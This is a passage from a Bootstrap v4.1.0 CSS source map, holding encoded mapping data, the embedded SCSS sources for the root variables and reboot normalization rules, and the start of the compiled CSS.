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","sourcesContent":["/*!\n * Bootstrap v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n\n@import \"functions\";\n@import \"variables\";\n@import \"mixins\";\n@import \"root\";\n@import \"reboot\";\n@import \"type\";\n@import \"images\";\n@import \"code\";\n@import \"grid\";\n@import \"tables\";\n@import \"forms\";\n@import \"buttons\";\n@import \"transitions\";\n@import \"dropdown\";\n@import \"button-group\";\n@import \"input-group\";\n@import \"custom-forms\";\n@import \"nav\";\n@import \"navbar\";\n@import \"card\";\n@import \"breadcrumb\";\n@import \"pagination\";\n@import \"badge\";\n@import \"jumbotron\";\n@import \"alert\";\n@import \"progress\";\n@import \"media\";\n@import \"list-group\";\n@import \"close\";\n@import \"modal\";\n@import \"tooltip\";\n@import \"popover\";\n@import \"carousel\";\n@import \"utilities\";\n@import \"print\";\n",":root {\n // Custom variable values only support SassScript inside `#{}`.\n @each $color, $value in $colors {\n --#{$color}: #{$value};\n }\n\n @each $color, $value in $theme-colors {\n --#{$color}: #{$value};\n }\n\n @each $bp, $value in $grid-breakpoints {\n --breakpoint-#{$bp}: #{$value};\n }\n\n // Use `inspect` for lists so that quoted items keep the quotes.\n // See https://github.com/sass/sass/issues/2383#issuecomment-336349172\n --font-family-sans-serif: #{inspect($font-family-sans-serif)};\n --font-family-monospace: #{inspect($font-family-monospace)};\n}\n","// stylelint-disable at-rule-no-vendor-prefix, declaration-no-important, selector-no-qualifying-type, property-no-vendor-prefix\n\n// Reboot\n//\n// Normalization of HTML elements, manually forked from Normalize.css to remove\n// styles targeting irrelevant browsers while applying new styles.\n//\n// Normalize is licensed MIT. https://github.com/necolas/normalize.css\n\n\n// Document\n//\n// 1. Change from `box-sizing: content-box` so that `width` is not affected by `padding` or `border`.\n// 2. Change the default font family in all browsers.\n// 3. Correct the line height in all browsers.\n// 4. Prevent adjustments of font size after orientation changes in IE on Windows Phone and in iOS.\n// 5. Setting @viewport causes scrollbars to overlap content in IE11 and Edge, so\n// we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n// 6. Change the default tap highlight to be completely transparent in iOS.\n\n*,\n*::before,\n*::after {\n box-sizing: border-box; // 1\n}\n\nhtml {\n font-family: sans-serif; // 2\n line-height: 1.15; // 3\n -webkit-text-size-adjust: 100%; // 4\n -ms-text-size-adjust: 100%; // 4\n -ms-overflow-style: scrollbar; // 5\n -webkit-tap-highlight-color: rgba($black, 0); // 6\n}\n\n// IE10+ doesn't honor `<meta name=\"viewport\">` in some cases.\n@at-root {\n @-ms-viewport {\n width: device-width;\n }\n}\n\n// stylelint-disable selector-list-comma-newline-after\n// Shim for \"new\" HTML5 structural elements to display correctly (IE10, older browsers)\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n display: block;\n}\n// stylelint-enable selector-list-comma-newline-after\n\n// Body\n//\n// 1. Remove the margin in all browsers.\n// 2. As a best practice, apply a default `background-color`.\n// 3. Set an explicit initial text-align value so that we can later use the\n// the `inherit` value on things like `<th>` elements.\n\nbody {\n margin: 0; // 1\n font-family: $font-family-base;\n font-size: $font-size-base;\n font-weight: $font-weight-base;\n line-height: $line-height-base;\n color: $body-color;\n text-align: left; // 3\n background-color: $body-bg; // 2\n}\n\n// Suppress the focus outline on elements that cannot be accessed via keyboard.\n// This prevents an unwanted focus outline from appearing around elements that\n// might still respond to pointer events.\n//\n// Credit: https://github.com/suitcss/base\n[tabindex=\"-1\"]:focus {\n outline: 0 !important;\n}\n\n\n// Content grouping\n//\n// 1. Add the correct box sizing in Firefox.\n// 2. Show the overflow in Edge and IE.\n\nhr {\n box-sizing: content-box; // 1\n height: 0; // 1\n overflow: visible; // 2\n}\n\n\n//\n// Typography\n//\n\n// Remove top margins from headings\n//\n// By default, `<h1>`-`<h6>` all receive top and bottom margins. We nuke the top\n// margin for easier control within type scales as it avoids margin collapsing.\n// stylelint-disable selector-list-comma-newline-after\nh1, h2, h3, h4, h5, h6 {\n margin-top: 0;\n margin-bottom: $headings-margin-bottom;\n}\n// stylelint-enable selector-list-comma-newline-after\n\n// Reset margins on paragraphs\n//\n// Similarly, the top margin on `<p>`s get reset. However, we also reset the\n// bottom margin to use `rem` units instead of `em`.\np {\n margin-top: 0;\n margin-bottom: $paragraph-margin-bottom;\n}\n\n// Abbreviations\n//\n// 1. Remove the bottom border in Firefox 39-.\n// 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.\n// 3. Add explicit cursor to indicate changed behavior.\n// 4. Duplicate behavior to the data-* attribute for our tooltip plugin\n\nabbr[title],\nabbr[data-original-title] { // 4\n text-decoration: underline; // 2\n text-decoration: underline dotted; // 2\n cursor: help; // 3\n border-bottom: 0; // 1\n}\n\naddress {\n margin-bottom: 1rem;\n font-style: normal;\n line-height: inherit;\n}\n\nol,\nul,\ndl {\n margin-top: 0;\n margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n margin-bottom: 0;\n}\n\ndt {\n font-weight: $dt-font-weight;\n}\n\ndd {\n margin-bottom: .5rem;\n margin-left: 0; // Undo browser default\n}\n\nblockquote {\n margin: 0 0 1rem;\n}\n\ndfn {\n font-style: italic; // Add the correct font style in Android 4.3-\n}\n\n// stylelint-disable font-weight-notation\nb,\nstrong {\n font-weight: bolder; // Add the correct font weight in Chrome, Edge, and Safari\n}\n// stylelint-enable font-weight-notation\n\nsmall {\n font-size: 80%; // Add the correct font size in all browsers\n}\n\n//\n// Prevent `sub` and `sup` elements from affecting the line height in\n// all browsers.\n//\n\nsub,\nsup {\n position: relative;\n font-size: 75%;\n line-height: 0;\n vertical-align: baseline;\n}\n\nsub { bottom: -.25em; }\nsup { top: -.5em; }\n\n\n//\n// Links\n//\n\na {\n color: $link-color;\n text-decoration: $link-decoration;\n background-color: transparent; // Remove the gray background on active links in IE 10.\n -webkit-text-decoration-skip: objects; // Remove gaps in links underline in iOS 8+ and Safari 8+.\n\n @include hover {\n color: $link-hover-color;\n text-decoration: $link-hover-decoration;\n }\n}\n\n// And undo these styles for placeholder links/named anchors (without href)\n// which have not been made explicitly keyboard-focusable (without tabindex).\n// It would be more straightforward to just use a[href] in previous block, but that\n// causes specificity issues in many other styles that are too complex to fix.\n// See https://github.com/twbs/bootstrap/issues/19402\n\na:not([href]):not([tabindex]) {\n color: inherit;\n text-decoration: none;\n\n @include hover-focus {\n color: inherit;\n text-decoration: none;\n }\n\n &:focus {\n outline: 0;\n }\n}\n\n\n//\n// Code\n//\n\n// stylelint-disable font-family-no-duplicate-names\npre,\ncode,\nkbd,\nsamp {\n font-family: monospace, monospace; // Correct the inheritance and scaling of font size in all browsers.\n font-size: 1em; // Correct the odd `em` font sizing in all browsers.\n}\n// stylelint-enable font-family-no-duplicate-names\n\npre {\n // Remove browser default top margin\n margin-top: 0;\n // Reset browser default of `1em` to use `rem`s\n margin-bottom: 1rem;\n // Don't allow content to break outside\n overflow: auto;\n // We have @viewport set which causes scrollbars to overlap content in IE11 and Edge, so\n // we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n -ms-overflow-style: scrollbar;\n}\n\n\n//\n// Figures\n//\n\nfigure {\n // Apply a consistent margin strategy (matches our type styles).\n margin: 0 0 1rem;\n}\n\n\n//\n// Images and content\n//\n\nimg {\n vertical-align: middle;\n border-style: none; // Remove the border on images inside links in IE 10-.\n}\n\nsvg:not(:root) {\n overflow: hidden; // Hide the overflow in IE\n}\n\n\n//\n// Tables\n//\n\ntable {\n border-collapse: collapse; // Prevent double borders\n}\n\ncaption {\n padding-top: $table-cell-padding;\n padding-bottom: $table-cell-padding;\n color: $table-caption-color;\n text-align: left;\n caption-side: bottom;\n}\n\nth {\n // Matches default `<td>` alignment by inheriting from the `<body>`, or the\n // closest parent with a set `text-align`.\n text-align: inherit;\n}\n\n\n//\n// Forms\n//\n\nlabel {\n // Allow labels to use `margin` for spacing.\n display: inline-block;\n margin-bottom: $label-margin-bottom;\n}\n\n// Remove the default `border-radius` that macOS Chrome adds.\n//\n// Details at https://github.com/twbs/bootstrap/issues/24093\nbutton {\n border-radius: 0;\n}\n\n// Work around a Firefox/IE bug where the transparent `button` background\n// results in a loss of the default `button` focus styles.\n//\n// Credit: https://github.com/suitcss/base/\nbutton:focus {\n outline: 1px dotted;\n outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n margin: 0; // Remove the margin in Firefox and Safari\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\n\nbutton,\ninput {\n overflow: visible; // Show the overflow in Edge\n}\n\nbutton,\nselect {\n text-transform: none; // Remove the inheritance of text transform in Firefox\n}\n\n// 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`\n// controls in Android 4.\n// 2. Correct the inability to style clickable types in iOS and Safari.\nbutton,\nhtml [type=\"button\"], // 1\n[type=\"reset\"],\n[type=\"submit\"] {\n -webkit-appearance: button; // 2\n}\n\n// Remove inner border and padding from Firefox, but don't restore the outline like Normalize.\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n padding: 0;\n border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n box-sizing: border-box; // 1. Add the correct box sizing in IE 10-\n padding: 0; // 2. Remove the padding in IE 10-\n}\n\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n // Remove the default appearance of temporal inputs to avoid a Mobile Safari\n // bug where setting a custom line-height prevents text from being vertically\n // centered within the input.\n // See https://bugs.webkit.org/show_bug.cgi?id=139848\n // and https://github.com/twbs/bootstrap/issues/11266\n -webkit-appearance: listbox;\n}\n\ntextarea {\n overflow: auto; // Remove the default vertical scrollbar in IE.\n // Textareas should really only resize vertically so they don't break their (horizontal) containers.\n resize: vertical;\n}\n\nfieldset {\n // Browsers set a default `min-width: min-content;` on fieldsets,\n // unlike e.g. `<div>`s, which have `min-width: 0;` by default.\n // So we reset that to ensure fieldsets behave more like a standard block element.\n // See https://github.com/twbs/bootstrap/issues/12359\n // and https://html.spec.whatwg.org/multipage/#the-fieldset-and-legend-elements\n min-width: 0;\n // Reset the default outline behavior of fieldsets so they don't affect page layout.\n padding: 0;\n margin: 0;\n border: 0;\n}\n\n// 1. Correct the text wrapping in Edge and IE.\n// 2. Correct the color inheritance from `fieldset` elements in IE.\nlegend {\n display: block;\n width: 100%;\n max-width: 100%; // 1\n padding: 0;\n margin-bottom: .5rem;\n font-size: 1.5rem;\n line-height: inherit;\n color: inherit; // 2\n white-space: normal; // 1\n}\n\nprogress {\n vertical-align: baseline; // Add the correct vertical alignment in Chrome, Firefox, and Opera.\n}\n\n// Correct the cursor style of increment and decrement buttons in Chrome.\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n[type=\"search\"] {\n // This overrides the extra rounded corners on search inputs in iOS so that our\n // `.form-control` class can properly style them. Note that this cannot simply\n // be added to `.form-control` as it's not specific enough. For details, see\n // https://github.com/twbs/bootstrap/issues/11586.\n outline-offset: -2px; // 2. Correct the outline style in Safari.\n -webkit-appearance: none;\n}\n\n//\n// Remove the inner padding and cancel buttons in Chrome and Safari on macOS.\n//\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n//\n// 1. Correct the inability to style clickable types in iOS and Safari.\n// 2. Change font properties to `inherit` in Safari.\n//\n\n::-webkit-file-upload-button {\n font: inherit; // 2\n -webkit-appearance: button; // 1\n}\n\n//\n// Correct element displays\n//\n\noutput {\n display: inline-block;\n}\n\nsummary {\n display: list-item; // Add the correct display in all browsers\n cursor: pointer;\n}\n\ntemplate {\n display: none; // Add the correct display in IE\n}\n\n// Always hide an element with the `hidden` HTML attribute (from PureCSS).\n// Needed for proper display in IE 10-.\n[hidden] {\n display: none !important;\n}\n","/*!\n * Bootstrap v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n:root {\n --blue: #007bff;\n --indigo: #6610f2;\n --purple: #6f42c1;\n --pink: #e83e8c;\n --red: #dc3545;\n --orange: #fd7e14;\n --yellow: #ffc107;\n --green: #28a745;\n --teal: #20c997;\n --cyan: #17a2b8;\n --white: #fff;\n --gray: #6c757d;\n --gray-dark: #343a40;\n --primary: #007bff;\n --secondary: #6c757d;\n --success: #28a745;\n --info: #17a2b8;\n --warning: #ffc107;\n --danger: #dc3545;\n --light: #f8f9fa;\n --dark: #343a40;\n --breakpoint-xs: 0;\n --breakpoint-sm: 576px;\n --breakpoint-md: 768px;\n --breakpoint-lg: 992px;\n --breakpoint-xl: 1200px;\n --font-family-sans-serif: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n*,\n*::before,\n*::after {\n box-sizing: border-box;\n}\n\nhtml {\n font-family: sans-serif;\n line-height: 1.15;\n -webkit-text-size-adjust: 